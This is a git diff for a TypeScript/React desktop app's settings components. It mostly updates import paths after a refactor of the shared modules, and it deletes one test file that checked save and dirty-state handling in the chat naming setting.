a/src/renderer/src/components/settings/browser/routing/BrowserLocalhostWorktreeLabelsSetting.tsx b/src/renderer/src/components/settings/browser/routing/BrowserLocalhostWorktreeLabelsSetting.tsx index 092f278c833..26c74a4e339 100644 --- a/src/renderer/src/components/settings/browser/routing/BrowserLocalhostWorktreeLabelsSetting.tsx +++ b/src/renderer/src/components/settings/browser/routing/BrowserLocalhostWorktreeLabelsSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsSwitchRow } from '../../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/browser/routing/BrowserSshWorkspaceRoutingSetting.tsx b/src/renderer/src/components/settings/browser/routing/BrowserSshWorkspaceRoutingSetting.tsx index 5a928912461..d1ee92a21ae 100644 --- a/src/renderer/src/components/settings/browser/routing/BrowserSshWorkspaceRoutingSetting.tsx +++ b/src/renderer/src/components/settings/browser/routing/BrowserSshWorkspaceRoutingSetting.tsx @@ -2,7 +2,7 @@ import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' import { Button } from '@/components/ui/button' import { BROWSER_SSH_WORKSPACE_ROUTING_SETTINGS_TARGET_ID } from '@/components/settings/navigation/settings-navigation-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsRow, SettingsSegmentedControl } from '../../form-controls/SettingsFormControls' import { diff --git a/src/renderer/src/components/settings/browser/routing/BrowserTerminalLinkActionsSetting.tsx b/src/renderer/src/components/settings/browser/routing/BrowserTerminalLinkActionsSetting.tsx index b8456d7cb6e..33cbd9bf77b 100644 --- a/src/renderer/src/components/settings/browser/routing/BrowserTerminalLinkActionsSetting.tsx +++ b/src/renderer/src/components/settings/browser/routing/BrowserTerminalLinkActionsSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { BROWSER_TERMINAL_LINK_ACTIONS_SETTINGS_TARGET_ID } from '@/components/settings/navigation/settings-navigation-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/browser/use/BrowserUsePane.tsx b/src/renderer/src/components/settings/browser/use/BrowserUsePane.tsx index 320547ff864..e51cd865270 100644 --- a/src/renderer/src/components/settings/browser/use/BrowserUsePane.tsx +++ b/src/renderer/src/components/settings/browser/use/BrowserUsePane.tsx @@ -8,7 +8,7 @@ import { import { useActiveProjectSkillRuntime } from '@/hooks/skills/runtime/useActiveProjectSkillRuntime' import { cn } from '@/lib/class-names' import { useAppStore } from '../../../../store/index' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { BROWSER_FAMILY_LABELS } from '../../../../../../shared/browser/browser-family-labels' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { matchesSettingsSearch } from '../../search/settings-search' diff --git a/src/renderer/src/components/settings/chat/ChatAgentLaunchSettings.tsx b/src/renderer/src/components/settings/chat/ChatAgentLaunchSettings.tsx index f1584265588..7258fac7873 100644 --- a/src/renderer/src/components/settings/chat/ChatAgentLaunchSettings.tsx +++ b/src/renderer/src/components/settings/chat/ChatAgentLaunchSettings.tsx @@ -1,7 +1,7 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { useEffect } from 'react' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { getAgentCatalog } from '@/lib/agent-catalog/agent-catalog' import { AgentIcon } from '@/components/agent/icons/AgentIcon' import { diff --git a/src/renderer/src/components/settings/chat/ChatBehaviorSetting.tsx b/src/renderer/src/components/settings/chat/ChatBehaviorSetting.tsx index 08797fab81b..89e198c37ec 100644 --- a/src/renderer/src/components/settings/chat/ChatBehaviorSetting.tsx +++ b/src/renderer/src/components/settings/chat/ChatBehaviorSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { AGENT_SESSION_USAGE_LIMIT_AUTO_CONTINUE_RUNTIME_CAPABILITY } from '../../../../../shared/agent-session/agent-session-create-capabilities' diff --git a/src/renderer/src/components/settings/chat/ChatNamingSetting.test.tsx b/src/renderer/src/components/settings/chat/ChatNamingSetting.test.tsx deleted file mode 100644 index aa48706d7fb..00000000000 --- a/src/renderer/src/components/settings/chat/ChatNamingSetting.test.tsx +++ /dev/null @@ -1,163 +0,0 @@ -// @vitest-environment happy-dom -import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../../../../shared/constants' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { SourceControlAiSettingsPatch } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' -import { normalizeSourceControlAiSettings } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings' -import { ChatNamingSetting } from './ChatNamingSetting' -import { startTransition, StrictMode, Suspense } from 'react' - -import { useAppStore } from '@/store/index' -import '../__fixtures__/settings-persistence-test-fixture' -vi.mock('sonner', () => ({ toast: { error: vi.fn() } })) - -afterEach(() => { - cleanup() - vi.restoreAllMocks() -}) -beforeEach(() => { - useAppStore.setState({ settingsSearchQuery: '' }) - vi.clearAllMocks() -}) - -function renderSetting(overrides: Partial = {}, expand = true) { - const settings = { ...getDefaultSettings('/tmp'), ...overrides } - useAppStore.setState({ settings }) - const updateSettings = vi.fn() - const onDirtyChange = vi.fn() - const writeSourceControlAiSettings = vi.fn(async (patch: SourceControlAiSettingsPatch) => { - const current = normalizeSourceControlAiSettings( - settings.sourceControlAi, - settings.commitMessageAi - ) - const resolved = typeof patch === 'function' ? patch(current) : patch - settings.sourceControlAi = { ...current, ...resolved } - }) - const element = () => ( - - ) - const view = render(element()) - if (expand && screen.queryByRole('button', { name: 'Advanced' })) { - fireEvent.click(screen.getByRole('button', { name: 'Advanced' })) - } - return { ...view, element, settings, updateSettings, writeSourceControlAiSettings, onDirtyChange } -} - -function changeTemplate(value: string): void { - const input = screen.getByText('Command template').nextElementSibling - if (!(input instanceof HTMLTextAreaElement)) { - throw new Error('Command template textarea is missing') - } - fireEvent.change(input, { target: { value } }) -} - -describe('Chat names setting', () => { - it('preserves edits made while a recipe save is pending', async () => { - const { settings, element, rerender, writeSourceControlAiSettings, onDirtyChange } = - renderSetting() - let finishWrite: (() => void) | undefined - const pendingWrite = new Promise((resolve) => { - finishWrite = resolve - }) - writeSourceControlAiSettings.mockImplementationOnce(async (patch) => { - await pendingWrite - const current = normalizeSourceControlAiSettings( - settings.sourceControlAi, - settings.commitMessageAi - ) - const resolved = typeof patch === 'function' ? patch(current) : patch - settings.sourceControlAi = { ...current, ...resolved } - }) - changeTemplate('First save') - fireEvent.click(screen.getByRole('button', { name: 'Save' })) - changeTemplate('Later edits') - finishWrite?.() - await waitFor(() => - expect(settings.sourceControlAi?.actions?.conversationName?.commandInputTemplate).toBe( - 'First save' - ) - ) - rerender(element()) - expect(screen.getByDisplayValue('Later edits')).toBeTruthy() - expect(onDirtyChange).toHaveBeenLastCalledWith(true) - expect(screen.getByRole('button', { name: 'Save' }).hasAttribute('disabled')).toBe(false) - }) - - it('does not clear a new draft guard when an unmounted recipe finishes saving', async () => { - const { unmount, element, writeSourceControlAiSettings, onDirtyChange } = renderSetting() - let finishWrite = (): void => {} - writeSourceControlAiSettings.mockImplementationOnce( - () => - new Promise((resolve) => { - finishWrite = resolve - }) - ) - changeTemplate('Saved after leaving') - fireEvent.click(screen.getByRole('button', { name: 'Save' })) - unmount() - expect(onDirtyChange).toHaveBeenLastCalledWith(false) - render({element()}) - fireEvent.click(screen.getByRole('button', { name: 'Advanced' })) - changeTemplate('New draft') - expect(onDirtyChange).toHaveBeenLastCalledWith(true) - onDirtyChange.mockClear() - await act(async () => finishWrite()) - expect(onDirtyChange).not.toHaveBeenCalled() - expect(screen.getByDisplayValue('New draft')).toBeTruthy() - }) - - it('keeps a pending save owned by its committed callback during an unfinished render', async () => { - const settings = getDefaultSettings('/tmp') - const committedDirty = vi.fn() - const speculativeDirty = vi.fn() - const suspendAttempt = vi.fn() - const suspended = new Promise(() => {}) - let finishWrite = (): void => {} - const writeSourceControlAiSettings = vi.fn( - () => - new Promise((resolve) => { - finishWrite = resolve - }) - ) - function RenderGate({ blocked }: { blocked: boolean }) { - if (blocked) { - suspendAttempt() - throw suspended - } - return null - } - const element = (blocked: boolean) => ( - Settings loading}> - - - - ) - const { rerender, unmount } = render(element(false)) - fireEvent.click(screen.getByRole('button', { name: 'Advanced' })) - changeTemplate('Committed save') - fireEvent.click(screen.getByRole('button', { name: 'Save' })) - await act(async () => { - startTransition(() => rerender(element(true))) - }) - expect(suspendAttempt).toHaveBeenCalled() - expect(screen.queryByText('Settings loading')).toBeNull() - committedDirty.mockClear() - await act(async () => finishWrite()) - expect(committedDirty).toHaveBeenLastCalledWith(false) - expect(speculativeDirty).not.toHaveBeenCalled() - unmount() - expect(committedDirty).toHaveBeenLastCalledWith(false) - expect(speculativeDirty).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/components/settings/chat/ChatNamingSetting.tsx b/src/renderer/src/components/settings/chat/ChatNamingSetting.tsx index 244d9e8c7a8..96388c02c39 100644 --- a/src/renderer/src/components/settings/chat/ChatNamingSetting.tsx +++ b/src/renderer/src/components/settings/chat/ChatNamingSetting.tsx @@ -1,5 +1,5 @@ import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { SourceControlAiSettingsPatch } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { resolveSourceControlAiForOperation } from '../../../../../shared/source-control/ai/source-control-ai-operation-resolution' import { CUSTOM_AGENT_ID } from '../../../../../shared/source-control/ai/generation/commit-message-agent-spec' diff --git a/src/renderer/src/components/settings/chat/ChatPermissionSetting.tsx b/src/renderer/src/components/settings/chat/ChatPermissionSetting.tsx index b3e587d6d87..752fbd33640 100644 --- a/src/renderer/src/components/settings/chat/ChatPermissionSetting.tsx +++ b/src/renderer/src/components/settings/chat/ChatPermissionSetting.tsx @@ -1,5 +1,5 @@ import { useChatPermissionSettings } from './use-chat-permission-settings' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { AGENT_CHAT_PERMISSION_MODES, newChatPermissionModeForSettings diff --git a/src/renderer/src/components/settings/chat/ChatSettingsSection.test.tsx b/src/renderer/src/components/settings/chat/ChatSettingsSection.test.tsx index cfce100e9eb..ca09c6a9c85 100644 --- a/src/renderer/src/components/settings/chat/ChatSettingsSection.test.tsx +++ b/src/renderer/src/components/settings/chat/ChatSettingsSection.test.tsx @@ -2,8 +2,8 @@ // @vitest-environment happy-dom import { cleanup, fireEvent, render, screen } from '@testing-library/react' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../../../../shared/constants' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { ChatSettingsSection } from './ChatSettingsSection' import { TooltipProvider } from '../../ui/tooltip' import { ActiveSettingsSectionProvider } from '../section-layout/SettingsSection' diff --git a/src/renderer/src/components/settings/chat/ChatSettingsSection.tsx b/src/renderer/src/components/settings/chat/ChatSettingsSection.tsx index 61e7b2fdf96..b13d507ce0b 100644 --- a/src/renderer/src/components/settings/chat/ChatSettingsSection.tsx +++ b/src/renderer/src/components/settings/chat/ChatSettingsSection.tsx @@ -6,7 +6,7 @@ import { NativeChatInlineVisualsSetting } from './NativeChatInlineVisualsSetting import { SettingsSection } from '../section-layout/SettingsSection' import { SettingsGroup } from '../section-layout/SettingsGroup' import { matchesSettingsSearch, type SettingsSearchEntry } from '../search/settings-search' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { SourceControlAiSettingsPatch } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { useAppStore } from '../../../store/index' diff --git a/src/renderer/src/components/settings/chat/ChatTurnActivitySetting.tsx b/src/renderer/src/components/settings/chat/ChatTurnActivitySetting.tsx index 2bf398e7068..38e2a26d346 100644 --- a/src/renderer/src/components/settings/chat/ChatTurnActivitySetting.tsx +++ b/src/renderer/src/components/settings/chat/ChatTurnActivitySetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { nativeChatShowsCiResultLines, nativeChatShowsTurnDiffSummary diff --git a/src/renderer/src/components/settings/chat/NativeChatIdleStopSetting.tsx b/src/renderer/src/components/settings/chat/NativeChatIdleStopSetting.tsx index fc3197afe2b..a10865cae60 100644 --- a/src/renderer/src/components/settings/chat/NativeChatIdleStopSetting.tsx +++ b/src/renderer/src/components/settings/chat/NativeChatIdleStopSetting.tsx @@ -1,6 +1,6 @@ import type React from 'react' import { useId } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { NATIVE_CHAT_IDLE_STOP_MINUTE_CHOICES, NATIVE_CHAT_IDLE_STOP_NEVER, diff --git a/src/renderer/src/components/settings/chat/NativeChatInlineVisualsSetting.tsx b/src/renderer/src/components/settings/chat/NativeChatInlineVisualsSetting.tsx index c5005fb6dc9..9f47d531ba7 100644 --- a/src/renderer/src/components/settings/chat/NativeChatInlineVisualsSetting.tsx +++ b/src/renderer/src/components/settings/chat/NativeChatInlineVisualsSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' import { useAppStore } from '../../../store/index' diff --git a/src/renderer/src/components/settings/chat/NativeChatShellEnvironmentSetting.tsx b/src/renderer/src/components/settings/chat/NativeChatShellEnvironmentSetting.tsx index c7f20aa69e6..fe6f2cde204 100644 --- a/src/renderer/src/components/settings/chat/NativeChatShellEnvironmentSetting.tsx +++ b/src/renderer/src/components/settings/chat/NativeChatShellEnvironmentSetting.tsx @@ -1,6 +1,6 @@ import { useRef, useState } from 'react' import { Plus, X } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { isNativeChatShellEnvironmentName } from '../../../../../shared/native-chat/native-chat-shell-environment' import { useTranslate } from '@/i18n/use-translate' import { Button } from '../../ui/button' diff --git a/src/renderer/src/components/settings/chat/use-chat-permission-settings.ts b/src/renderer/src/components/settings/chat/use-chat-permission-settings.ts index 40044d0c492..1939d67e37e 100644 --- a/src/renderer/src/components/settings/chat/use-chat-permission-settings.ts +++ b/src/renderer/src/components/settings/chat/use-chat-permission-settings.ts @@ -1,5 +1,5 @@ import { useEffect, useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { AgentLaunchSettings } from '../../../../../shared/agent-launch/choices/agent-launch-settings' import { isWebClientLocation } from '@/app-shell/platform/web-client-location' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/settings/cli/install/CliSection.tsx b/src/renderer/src/components/settings/cli/install/CliSection.tsx index c9f6b4d8694..5e0b643f704 100644 --- a/src/renderer/src/components/settings/cli/install/CliSection.tsx +++ b/src/renderer/src/components/settings/cli/install/CliSection.tsx @@ -1,9 +1,9 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { useCallback, useEffect, useMemo, useState } from 'react' import { FolderOpen, RefreshCw } from 'lucide-react' import { toast } from 'sonner' import type { CliInstallStatus } from '../../../../../../shared/cli/cli-install-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { ORCA_CLI_SKILL_NAME } from '@/lib/skills/installation/agent-feature-skill-names' import { GLOBAL_AGENT_SKILL_SOURCE_KINDS, diff --git a/src/renderer/src/components/settings/editor/CollapseUnchangedRegionsSetting.tsx b/src/renderer/src/components/settings/editor/CollapseUnchangedRegionsSetting.tsx index 085ef8a5f60..06db41f69d8 100644 --- a/src/renderer/src/components/settings/editor/CollapseUnchangedRegionsSetting.tsx +++ b/src/renderer/src/components/settings/editor/CollapseUnchangedRegionsSetting.tsx @@ -1,5 +1,5 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { Label } from '../../ui/label' diff --git a/src/renderer/src/components/settings/editor/DiffShowWhitespaceSetting.tsx b/src/renderer/src/components/settings/editor/DiffShowWhitespaceSetting.tsx index db43580592a..5d19a94bf6d 100644 --- a/src/renderer/src/components/settings/editor/DiffShowWhitespaceSetting.tsx +++ b/src/renderer/src/components/settings/editor/DiffShowWhitespaceSetting.tsx @@ -1,5 +1,5 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' import { Label } from '../../ui/label' diff --git a/src/renderer/src/components/settings/editor/EditorFontFamilySetting.tsx b/src/renderer/src/components/settings/editor/EditorFontFamilySetting.tsx index 18196f15211..b03c6c8d7a9 100644 --- a/src/renderer/src/components/settings/editor/EditorFontFamilySetting.tsx +++ b/src/renderer/src/components/settings/editor/EditorFontFamilySetting.tsx @@ -1,6 +1,6 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' import { FontAutocomplete } from '../appearance/fonts/FontAutocomplete' diff --git a/src/renderer/src/components/settings/editor/EditorFormatOnSaveSetting.tsx b/src/renderer/src/components/settings/editor/EditorFormatOnSaveSetting.tsx index c76e64f7f6b..f23fdccdcf7 100644 --- a/src/renderer/src/components/settings/editor/EditorFormatOnSaveSetting.tsx +++ b/src/renderer/src/components/settings/editor/EditorFormatOnSaveSetting.tsx @@ -1,5 +1,5 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/editor/EditorInsertFinalNewlineSetting.tsx b/src/renderer/src/components/settings/editor/EditorInsertFinalNewlineSetting.tsx index 58ba84ecebf..287b18064dd 100644 --- a/src/renderer/src/components/settings/editor/EditorInsertFinalNewlineSetting.tsx +++ b/src/renderer/src/components/settings/editor/EditorInsertFinalNewlineSetting.tsx @@ -1,5 +1,5 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/editor/EditorTypographySettings.tsx b/src/renderer/src/components/settings/editor/EditorTypographySettings.tsx index af7348f7a03..1413a4f02ae 100644 --- a/src/renderer/src/components/settings/editor/EditorTypographySettings.tsx +++ b/src/renderer/src/components/settings/editor/EditorTypographySettings.tsx @@ -1,6 +1,6 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { TERMINAL_FONT_WEIGHT_MAX, TERMINAL_FONT_WEIGHT_MIN, diff --git a/src/renderer/src/components/settings/editor/EditorWordWrapSetting.tsx b/src/renderer/src/components/settings/editor/EditorWordWrapSetting.tsx index bc638a15237..e1a44114a05 100644 --- a/src/renderer/src/components/settings/editor/EditorWordWrapSetting.tsx +++ b/src/renderer/src/components/settings/editor/EditorWordWrapSetting.tsx @@ -1,5 +1,5 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' import { Label } from '../../ui/label' diff --git a/src/renderer/src/components/settings/editor/GeneralAutoSaveSetting.tsx b/src/renderer/src/components/settings/editor/GeneralAutoSaveSetting.tsx index 78eb644dff8..538ee199efb 100644 --- a/src/renderer/src/components/settings/editor/GeneralAutoSaveSetting.tsx +++ b/src/renderer/src/components/settings/editor/GeneralAutoSaveSetting.tsx @@ -1,6 +1,6 @@ import { translateSearchKeyword } from '../search/settings-search-keywords' import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { translate } from '@/i18n/i18n' import { SearchableSetting } from '../section-layout/SearchableSetting' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx b/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx index bd99a2df236..f5f48c5d0bf 100644 --- a/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx +++ b/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx @@ -5,7 +5,7 @@ import { DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS, MAX_EDITOR_AUTO_SAVE_DELAY_MS, MIN_EDITOR_AUTO_SAVE_DELAY_MS -} from '../../../../../shared/constants' +} from '../../../../../shared/editor/saving/editor-auto-save-delay' import { clampNumber } from '@/lib/terminal/appearance/terminal-theme' import { Input } from '../../ui/input' import { Label } from '../../ui/label' @@ -27,7 +27,7 @@ import { updateAutoSaveDelayDraftState } from './auto-save-delay-draft' import { SettingsGroup } from '../section-layout/SettingsGroup' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' type GeneralEditorSettingsSectionProps = { settings: GlobalSettings diff --git a/src/renderer/src/components/settings/editor/MarkdownDefaultViewSetting.tsx b/src/renderer/src/components/settings/editor/MarkdownDefaultViewSetting.tsx index b7362b9ed31..3c2b8dd3db1 100644 --- a/src/renderer/src/components/settings/editor/MarkdownDefaultViewSetting.tsx +++ b/src/renderer/src/components/settings/editor/MarkdownDefaultViewSetting.tsx @@ -1,6 +1,6 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { normalizeMarkdownDefaultViewMode, type MarkdownDefaultViewMode diff --git a/src/renderer/src/components/settings/editor/RichMarkdownSpellcheckSetting.tsx b/src/renderer/src/components/settings/editor/RichMarkdownSpellcheckSetting.tsx index ca4828fc854..7758c7ddf10 100644 --- a/src/renderer/src/components/settings/editor/RichMarkdownSpellcheckSetting.tsx +++ b/src/renderer/src/components/settings/editor/RichMarkdownSpellcheckSetting.tsx @@ -1,6 +1,6 @@ import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors' import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/floating-workspaces/FloatingWorkspacePane.tsx b/src/renderer/src/components/settings/floating-workspaces/FloatingWorkspacePane.tsx index 28e13efac2f..2e9c9eeb4b0 100644 --- a/src/renderer/src/components/settings/floating-workspaces/FloatingWorkspacePane.tsx +++ b/src/renderer/src/components/settings/floating-workspaces/FloatingWorkspacePane.tsx @@ -1,8 +1,8 @@ import { useEffect, useState } from 'react' import { FolderOpen } from 'lucide-react' import { floatingWorkspaceUnavailableReason } from '@/components/floating-terminal/workspace/floating-workspace-availability' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { FloatingTerminalTriggerLocation } from '../../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { FloatingTerminalTriggerLocation } from '../../../../../shared/ui-chrome/ui-chrome-types' import { Button } from '../../ui/button' import { Input } from '../../ui/input' import { ToggleGroup, ToggleGroupItem } from '../../ui/toggle-group' diff --git a/src/renderer/src/components/settings/general/GeneralConfirmationsSection.tsx b/src/renderer/src/components/settings/general/GeneralConfirmationsSection.tsx index fb1b13a31cb..9ae6b658960 100644 --- a/src/renderer/src/components/settings/general/GeneralConfirmationsSection.tsx +++ b/src/renderer/src/components/settings/general/GeneralConfirmationsSection.tsx @@ -1,6 +1,6 @@ import type { SettingsSearchEntry } from '../search/settings-search' import { getGeneralConfirmationSearchEntries } from './general-confirmations-search' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store' import { SettingsGroup } from '../section-layout/SettingsGroup' diff --git a/src/renderer/src/components/settings/general/GeneralPane.tsx b/src/renderer/src/components/settings/general/GeneralPane.tsx index cf9a80edd1b..c11c9678489 100644 --- a/src/renderer/src/components/settings/general/GeneralPane.tsx +++ b/src/renderer/src/components/settings/general/GeneralPane.tsx @@ -1,6 +1,6 @@ import type React from 'react' import { useEffect, useRef } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useAppStore } from '../../../store/index' import { CliSection } from '../cli/install/CliSection' import { GeneralEditorSettingsSection } from '../editor/GeneralEditorSettingsSection' diff --git a/src/renderer/src/components/settings/general/GeneralWorkspaceSettingsSection.tsx b/src/renderer/src/components/settings/general/GeneralWorkspaceSettingsSection.tsx index c40e6620044..795734eb2b1 100644 --- a/src/renderer/src/components/settings/general/GeneralWorkspaceSettingsSection.tsx +++ b/src/renderer/src/components/settings/general/GeneralWorkspaceSettingsSection.tsx @@ -1,7 +1,7 @@ import { GENERAL_SETTING_ANCHORS } from './general-setting-anchors' import { getGeneralSubPageTitle, type GeneralSubPage } from './general-sub-pages' import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { OpenInMenuEditor, type useOpenInMenuDraft } from './OpenInMenuSetting' import { SearchableSetting } from '../section-layout/SearchableSetting' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/general/GlobalWorktreeVisibilitySourcesSetting.tsx b/src/renderer/src/components/settings/general/GlobalWorktreeVisibilitySourcesSetting.tsx index e5644865321..8718c48e49e 100644 --- a/src/renderer/src/components/settings/general/GlobalWorktreeVisibilitySourcesSetting.tsx +++ b/src/renderer/src/components/settings/general/GlobalWorktreeVisibilitySourcesSetting.tsx @@ -3,7 +3,7 @@ import type { CustomWorktreeVisibilitySource, WorktreeVisibilityDefaults } from '../../../../../shared/repository/repo-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { MAX_CUSTOM_WORKTREE_VISIBILITY_SOURCES, diff --git a/src/renderer/src/components/settings/general/OpenInMenuSetting.tsx b/src/renderer/src/components/settings/general/OpenInMenuSetting.tsx index e2f351e84d1..70eee0d2ea8 100644 --- a/src/renderer/src/components/settings/general/OpenInMenuSetting.tsx +++ b/src/renderer/src/components/settings/general/OpenInMenuSetting.tsx @@ -1,8 +1,8 @@ import type React from 'react' import { useState } from 'react' import { Check, ChevronDown, Pencil, Trash2 } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { OpenInApplication } from '../../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { OpenInApplication } from '../../../../../shared/ui-chrome/ui-chrome-types' import { OPEN_IN_APPLICATIONS_MAX } from '../../../../../shared/editor/launch/open-in-applications' import { Button } from '../../ui/button' import { diff 